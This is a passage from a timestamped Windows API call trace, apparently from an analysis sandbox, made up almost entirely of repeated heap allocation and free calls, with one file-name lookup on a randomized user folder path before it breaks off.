(HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.919] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.919] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\") returned="Ky0Ly40HAhggPV2r3\\" [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 